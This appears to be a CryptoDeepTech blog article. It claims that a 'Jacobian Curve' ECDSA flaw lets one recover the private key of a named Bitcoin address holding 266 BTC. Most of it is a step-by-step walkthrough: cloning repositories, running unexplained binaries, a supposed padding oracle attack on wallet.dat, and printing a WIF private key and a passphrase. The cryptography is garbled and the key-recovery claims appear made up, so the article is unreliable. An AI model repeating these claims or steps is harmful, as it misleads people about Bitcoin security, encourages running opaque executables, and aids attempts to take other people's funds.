In this article, we will look at a vulnerability associated with the implementation of the Jacobian Curve. In recent years, cryptocurrencies such as Bitcoin have become an important part of the financial ecosystem. However, as their popularity grows, so do the threats associated with cybersecurity. One such threat is the Jacobian Curve vulnerability, which affects the Elliptic Curve Digital Signature Algorithm (ECDSA). This vulnerability allows attackers to generate fake signatures, which can lead to serious consequences for users and the integrity of the Bitcoin network.
- Tutorial: https://youtu.be/qf6u85wGwNw
- Tutorial: https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability
- Google Colab: https://colab.research.google.com/drive/1E3ZZpzPXcqbK3ngZbxRVk5McI4L8K5h3
Jacobian Curve algorithm vulnerability refers to flaws in the implementation of elliptic curve cryptography, specifically affecting ECDSA. Attackers can manipulate the mathematical properties of the Jacobian coordinates used in elliptic curve calculations, allowing them to create fraudulent transactions with forged signatures. Jacobian Curve algorithm vulnerability refers to flaws in the implementation of elliptic curve cryptography used in ECDSA. This vulnerability allows attackers to manipulate the mathematical properties of the Jacobian coordinates used to generate digital signatures. As a result of such manipulations, attackers can create fraudulent transactions with forged signatures that will be accepted as valid by the Bitcoin system.
The vulnerability occurs in the process of data deserialization , which can be used to inject malicious code and create false signatures. If the data is processed incorrectly, attackers are able to forge ECDSA signatures, which compromises the integrity of the Bitcoin system.
The main threat associated with this vulnerability is the possibility of unauthorized access to user funds. Attackers can use forged signatures to create transactions that transfer bitcoins from unsuspecting users’ wallets to their own accounts. This not only undermines trust in the system, but can also lead to significant financial losses for users. Forged signatures allow attackers to transfer funds from victims’ wallets to their own accounts. Moreover, such attacks can compromise the integrity of the blockchain, creating a threat of double spending and destroying the basic principle of the system.
Denial of service (DoS) attack and leakage of confidential information, including “users’ private keys”.
If certain nodes in the Bitcoin network are compromised, it can cause the blockchain to fork into incompatible chains, creating confusion and potential double-spending issues . Additionally, attackers can use this vulnerability to launch denial-of-service (DoS) attacks, flooding the network with invalid transactions, which can make it inaccessible to legitimate users.
Successful exploitation of this vulnerability could also cause a discrepancy in the Bitcoin network consensus state, causing the block chain to split into incompatible branches. This could result in denial of service (DoS) attacks and leaks of sensitive information , including users’ private keys .
The vulnerability of the Jacobian Curve algorithm is especially dangerous for systems using multi-signature schemes, where multiple signatures from different participants are required to complete a transaction. An attacker can generate fake signatures that will be accepted by the system, which puts at risk not only individual transactions, but the entire multi-signature process.
As we have learned, if user input data is not properly verified, it can lead to serious disruptions in the Bitcoin system, where an attacker can take advantage of the opportunity to inject malicious code and ultimately manipulate the system by creating fake signatures in Bitcoin transactions.
From the theory of vulnerability of the Jacobian Curve algorithm , it is known that attackers can use the vulnerability to carry out DoS attacks, overloading the network with invalid transactions, which destabilizes the Bitcoin network. Let’s move on to the practical part of the article and consider an example using a Bitcoin wallet: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 , where there were lost coins in the amount of: 266.03138481 BTC as of August 2024, this amount is: 15747770.36 USD
266.03138481 BTC > 15747770,36 USD
Let’s use the list from “Tutorials Power AI” a widely used category of artificial intelligence to introduce business in various fields of cryptanalysis and cryptography in general.
Installation command:
git clone https://github.com/demining/Tutorials-Power-AI.git
cd Tutorials-Power-AI/
python3 tutorials.py
BitcoinChatGPT is an innovative AI-powered chatbot that helps users find vulnerabilities in Bitcoin cryptocurrency transactions. BitcoinChatGPT benefits and classifications give you the ability to check your Bitcoin address for various crypto wallet attack schemes. Machine learning based on cryptanalysis gives us the full ability to investigate various attacks on the algorithms used in the Bitcoin ecosystem. Tools for extracting private key from the Bitcoin Wallet ledger are widely popular, where BitcoinChatGPT serves as an important and useful resource for cybersecurity.
Exploiting Jacobian Curve Implementation Vulnerability to Create Raw Transaction Using BitcoinChatGPT Machine Learning Process
Let’s consider the construction of the structure of a vulnerable Raw transaction in which the BitcoinChatGPT module is used
Let’s open the Google Colab version:
https://colab.research.google.com/drive/17PN1uHeeGhQFTKRx6s8OS3YftgxNvQzd#scrollTo=2dl8T79mn1YL
State of a vulnerable transaction in Bitcoin:
01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8a473044
....0220
......................1c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f5240
....0220
........7ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606
.....014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e
....ffffffff
01
....d204000000000000
........1976
............a914
........334a75f1d3bbefa5b761e5fa53e60bce2a822879
....88ac
00000000Let’s combine all the output values into one common line:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000Let’s open the BlockCypher option “Decode A Transaction” :
https://live.blockcypher.com/btc/decodetx
After decoding the vulnerable Bitcoin Raw transaction we get the result:
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
"15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2"
],
"block_height": -1,
"block_index": -1,
"confirmations": 0,
"double_spend": false,
"fees": 2606688996428,
"hash": "e88bcb98a9352f5f936ce92acfc1fb98f6cf1aedf8a985ea67c63961c108a149",
"inputs": [
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
],
"age": 344419,
"output_index": 0,
"output_value": 2606688997662,
"prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d",
.......
.......
.......Note on Bitcoin HASH160: 334a75f1d3bbefa5b761e5fa53e60bce2a822879
BitcoinChatGPT creates a transaction structure using HASHthe public key, where we see that Bitcoin address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 sends 1234 satoshito the same address within its network.
Bitcoin HASH160 was generated using Python Script: wif_to_hash160.py
https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/wif_to_hash160.py
Question – Answer:
Finally, the BitcoinChatGPT module outputs the response to the file: KEYFOUND.privkey storing the private key in two most used formats HEX & WIF
https://github.com/demining/CryptoDeepTools/blob/main/35JacobianCurve/KEYFOUND.privkey
Let’s create a vulnerable Raw transaction from the received data using the Broadcast Bitcoin Transaction repository
Download and install the source code, open the terminal and run the command:
git clone https://github.com/smartibase/Broadcast-Bitcoin-Transaction.git
Catalog:
cd Broadcast-Bitcoin-TransactionLet’s install three important libraries:
Let’s run the command:
pip install -r requirements.txtLet’s open the main file in Notepad ++ and make a small change to the Python Script code: main.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()Let’s run the command:
python main.pyLet’s open the RawTX file in the directory:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000
As we know from the prompt responses of the BitcoinChatGPT module , the Jacobian Curve Vulnerability Algorithm can be used to solve complex cryptographic problems.
We will apply Smart Transformers machine learning , integrate the notebook Google Colabwith Pytorch, TensorFlow, JAX and using the obtained data of the vulnerable Raw transaction for Bitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2 we will create an unprotected wallet.dat file from the proposed choice of all existing algorithms from SMART_IDENTIFY . Then we will perform a Padding Oracle Attack on the newly created file: wallet.dat to decrypt the password into the original binary format in order to obtain and extract the private key from the Bitcoin Core software console using the standard command:dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Let’s open a new Google Colab notebook using the link:
https://colab.research.google.com/#create=true
Clone the Smart Transformers repository
!git clone https://github.com/smartibase/Smart-Transformers.gitcd Smart-Transformers/
Let’s install all the necessary packages and libraries:
!sudo apt-get update
!sudo apt install libtool
!sudo apt-get install g++
!python setup.py --help
!sudo apt-get install libgmp3-dev libmpfr-dev
!chmod +x Generic_Algorithms
!./Generic_Algorithms
!pip3 install transformers
from transformers import AutoModelForCausalLM, AutoTokenizer
model_name = "microsoft/DialoGPT-medium"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
model = model.cpu()
Team:
ls -S
Let’s add our vulnerable Raw transaction to a text document: RawTX.txt for this we will use the utilityecho
Let’s run the command:
!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008a47304402201c0075c09b94e2ba2508e41028bf4ab9845e6d3a3f2ec82ae40c412ba15f524002207ab992f45b5ff5856998efb50cd3cfef49a44e376b9347b177a5f046bc14d606014104603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74effffffff01d2040000000000001976a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac00000000' > RawTX.txt
!cat RawTX.txt
Now, to get the exact algorithm and method for cryptanalysis we need to identify the vulnerable RawTX using the SMART_IDENTIFY utility .
Let’s run the command:
!./SMART_IDENTIFYAs a result, we get the Jacobian_Curve_Algorithm method , in earlier studies the same thing was identified by the BitcoinChatGPT module .
#################################################
Jacobian_Curve_Algorithm
#################################################
Let’s open the catalog:
Let’s start the process of creating the wallet.dat file . For this, we use the identified data of the vulnerable Raw transaction in the file: RawTX.txt. For the process, we apply the Jacobian_Curve_Algorithm utility.
Let’s run the command:
!./Jacobian_Curve_Algorithm -o RawTX.txt -s wallet.dat
Let’s open the directory in the left panel
Google Colaband see the file:wallet.datSuccessfully created!
Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0
Let’s open the console and run the command:
getaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
We see that the file: wallet.dat belongs to the Bitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
Let’s run the command to check the private key:
dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
We see a warning: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)
Let’s use the Padding Oracle Attack method on Wallet.dat and decrypt the password for access into a binary password format.
First, we get access to the wallet.dat file in the amount of: 266.03 BTC
Cloning the repositories: Biggest Lost Bitcoin Wallets List
git clone https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List.git
.png)
https://github.com/smartibase/Biggest-Lost-Bitcoin-Wallets-List/tree/main/266.03%20BTC
Download and Install Bitcoin Core 0.18.0
Open path: c:\Users\User\AppData\Roaming\Bitcoin\
Move the file: wallet.dat
c:\Users\User\AppData\Roaming\Bitcoin\wallet.dat
.png)
getaddressinfo 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
{
"address": "15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2",
"scriptPubKey": "76a914334a75f1d3bbefa5b761e5fa53e60bce2a82287988ac",
"ismine": true,
"solvable": true,
"desc": "pkh([334a75f1]04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e)#lrxwcu6z",
"iswatchonly": false,
"isscript": false,
"iswitness": false,
"pubkey": "04603a599358eb3b2efcde03debc60a493751c1a4f510df18acf857637e74bdbaf6e123736ff75de66b355b5b8ea0a64e179a4e377d3ed965400eff004fa41a74e",
"iscompressed": false,
"label": "",
"ischange": false,
"timestamp": 1,
"labels": [
{
"name": "",
"purpose": "receive"
}
]
}
msfvenom is a tool that was created by combining two previous tools:
msfpayloadandmsfencode. It allows users to create payloads for different platforms and encoders, and also provides the ability to customize the payload parameters. msfvenom supports a variety of output formats, including executables, scripts, and even code for web applications.Metasploit Framework plays a key role in the development of msfvenom for several reasons:
1. Exploit Integration: msfvenom allows users to create payloads that can be used with exploits from Metasploit. This simplifies the penetration testing process as users can quickly generate payloads that match specific vulnerabilities.
2. Versatility: With support for multiple formats and platforms, msfvenom has become a versatile payload creation tool. This allows security professionals to tailor their attacks to different systems and environments.
3. Updates and Support: The Metasploit Framework is constantly updated, which keeps msfvenom up-to-date and effective. New features and improvements in Metasploit directly impact msfvenom’s capabilities, making it more powerful and flexible.
4. Education and Research: Metasploit and msfvenom are important tools for cybersecurity education and research. They allow students and security professionals to study vulnerabilities and exploitation techniques in a secure environment.
15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
c:\BitcoinTools\ExploitDalenePRO\modules\.png)
c:\BitcoinTools\ExploitDalenePRO\modules\exploits\.png)
c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\.png)
c:\BitcoinTools\ExploitDalenePRO\modules\exploits\ExploitDarlenePRO\decode_core.rb.png)
c:\BitcoinTools\ExploitDalenePRO\bitcoin\.png)
c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\
c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp.png)
c:\BitcoinTools\ExploitDalenePRO\bitcoin\src\crypto\aes.cpp
c:\Users\User\AppData\Roaming\Bitcoin\
walletpassphrase 1111010100000111010101011110110010011000010000001111001001010011010011110110010010010000000111101010111011101010001010100000011011001001111111110111000011010011101110101010101101101111001011100100101100011000111010011000101001001100011010001100110111111111 60Run the command and get Private Key
The dumpprivkey command in Bitcoin Core
The
dumpprivkeycommand is a command used in the Bitcoin Core wallet command line interface (CLI) to export the private key associated with a specific Bitcoin address. The syntax for the command is as follows:“
dumpprivkey “address” “Where “address” is the Bitcoin address for which you want to receive the private key.
How dumpprivkey command works
When you type the
dumpprivkeycommand, Bitcoin Core looks for the specified address in its wallet and, if found, returns the corresponding private key in WIF format. This allows the user to store the private key in a safe place or import it into another wallet.
dumpprivkey 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP
!pip3 install bitcoin
Let’s run the code to check the Bitcoin Address match:
__________________________________________________
Private Key WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP
Bitcoin Address: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
total_received = 266.03138481 Bitcoin
__________________________________________________That’s right! The private key corresponds to the Bitcoin Wallet.
Let’s open bitaddress and check:
ADDR: 15gCfQVJ68vyUVdb6e3VDU4iTkTC3HtLQ2
WIF: 5KKUoqxvJjUK8zM2jaeMMpKMhzUM9EBkaFT6LedAjhrQfkTs1BP
HEX: C5FBD161D334BA9BBC199BD9A427F05A46AACFABFBB3BC1BFF9D227E418D76D9.png)
To protect against threats related to the Jacobian Curve vulnerability, users should take the following steps:
- Software Updates : Regularly updating your cryptocurrency wallets to patched versions is critical to security.
- Improved signature verification mechanisms : Stronger input validation and error handling will help prevent the creation of fake signatures and protect users’ private keys.
- Network activity monitoring : Constant analysis of network status and early detection of suspicious transactions allow for prompt response to attempts to exploit vulnerabilities.
- Implementing Multi-Factor Authentication : Implementing additional cryptographic security methods will significantly improve security.
To prevent possible attacks related to the Jacobian Curve vulnerability, Bitcoin users are strongly advised to update their wallet software to the latest versions that fix this vulnerability. Regular software updates, the implementation of anomaly detection systems, and raising user awareness of possible threats will help maintain the integrity and security of cryptocurrency systems.
The vulnerability of the Jacobian Curve algorithm poses a significant threat to the security of cryptocurrency transactions and the integrity of the blockchain. To minimize risks, users should regularly update their software, implement strict security measures, and constantly monitor the network status. These measures will help maintain the security and stability of cryptocurrency systems, protecting users from potential threats and financial losses.
- Jacobians of Curves Abelian Varieties: 10/10/03 notes by W. Stein
- Jacobian of special singular curves KUBRA NARI AND ENVER OZDEMIR
- On the Jacobian Varieties of Hyperelliptic Curves over Fields of Characteristic p > 2 NORIKO YUI Received October 15, 1977
- Jacobian Coordinates on Genus 2 Curves Huseyin Hisil & Craig Costello Yasar University, Izmir, Turkey
- Jacobians of Curves of Genus One Harvard University Cambridge, Massachusetts April, 1999
- Jacobian curve of singular foliations Nuria Corral Article to be published, posted online on July 3, 2024.
- AN ADDITION ALGORITHM ON THE JACOBIAN VARIETIES OF CURVES (FOR APPLICATIONS TO PUBLIC KEY CRYPTOSYSTEM) S. ARITA, S. MIURA, AND T. SEKIGUCHI
- THE JACOBIAN AND FORMAL GROUP OF A CURVE OF GENUS 2 OVER AN ARBITRARY GROUND FIELD E. V. Flynn, Mathematical Institute, University of Oxford
- On the genus of curves in a Jacobian variety VALERIA ORNELLA MARCUCCI Mathematics Subject Classification (2010)
- LOCAL ARITHMETIC OF CURVES AND JACOBIANS P. Allen, F. Calegari, A. Caraiani, T. Gee, D. Helm, B. Le Hung, J. Newton, S. Scholze, R. Taylor, and J. Thorne, Potential automorphy
- Compactified Jacobians of nodal curves Lucia Caporaso Expanded notes for a minicourse given at the Istituto Sup
- Note on curves in a jacobian Compositio Mathematica, tome 88, no 3 (1993)
- Arithmetic on Jacobians of algebraic curves Giulio Di Piazza Damien Robert
- From the curve to its Jacobian and back Christophe Ritzenthaler Luminy Institute of Mathematics, CNRS Montreal
- Generalized Jacobians I Caleb Ji Background from algebraic geometry
- Hyperelliptic Curves and their Jacobians Benjamin Smith Isogeny school, online, 2021 Inria + École polytechnique, France
- Jacobian curves for normal complex surfaces Fran¸coise Michel Mathematics Subject Classification 2000
- THE JACOBIAN OF A RIEMANN SURFACE DONU ARAPURA Arapura, Riemann’s inequality and Riemann-Roch
- A curve and its abstract Jacobian Boris Zilber University of Oxford August 22, 2012
- Jacobians of Genus One Curves Sang Yook An and Seog Young Kim The University of Arizona
- JACOBIANS CURVILINEAR COORDINATES Created by T. Madas
- A GEOMETRIC APPROACH TO THE TWO-DIMENSIONAL JACOBIAN CONJECTURE ALEXANDER BORISOV
- Jacobian Varieties J.S. Milne June 12, 2021
- LOCAL ARITHMETIC OF CURVES AND JACOBIANS School of Mathematics and Statistics, University of Glasgow, University Place, Glasgow
- Notes on Jacobian varieties: a brief survey Juliana Coelho (UFF) March 28, 2017
- Fast Jacobian arithmetic for hyperelliptic curves of genus 3 Andrew V. Sutherland
- The Jacobian of a Transformation Proceedings of the Thirteenth Algorithmic Number Theory Symposium
- SEMINAR ON ALGEBRAIC GEOMETRY: “JACOBIANS OF CURVES” Organizers: Peter Scholze, Johannes Anschutz
- EQUATIONS FOR THE JACOBIAN OF A HYPERELLIPTIC CURVE PAUL VAN WAMELEN
- Comparatively Study of ECC and Jacobian Elliptic Curve Cryptography Anagha P. Zele , Avinash P. Wadhe
- THE RANK OF THE JACOBIAN OF MODULAR CURVES: ANALYTIC METHODS BY EMMANUEL KOWALSKI
- Space filling curves in their Jacobian Author Thijs Limbeek Supervisors Prof. Dr. Ben Moonen Dr. Arne Smeets November 24, 2020
https://dzen.ru/embed/v-B2d-eezKhg?from_block=partner&from=zen&mute=0&autoplay=0&tv=0
This material was created for the CRYPTO DEEP TECH portal to ensure financial data security and cryptography on elliptic curves secp256k1 against weak ECDSA signatures in the BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.
Telegram: https://t.me/cryptodeeptech
Video material: https://youtu.be/qf6u85wGwNw
Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c
Source: https://cryptodeeptech.ru/jacobian-curve-algorithm-vulnerability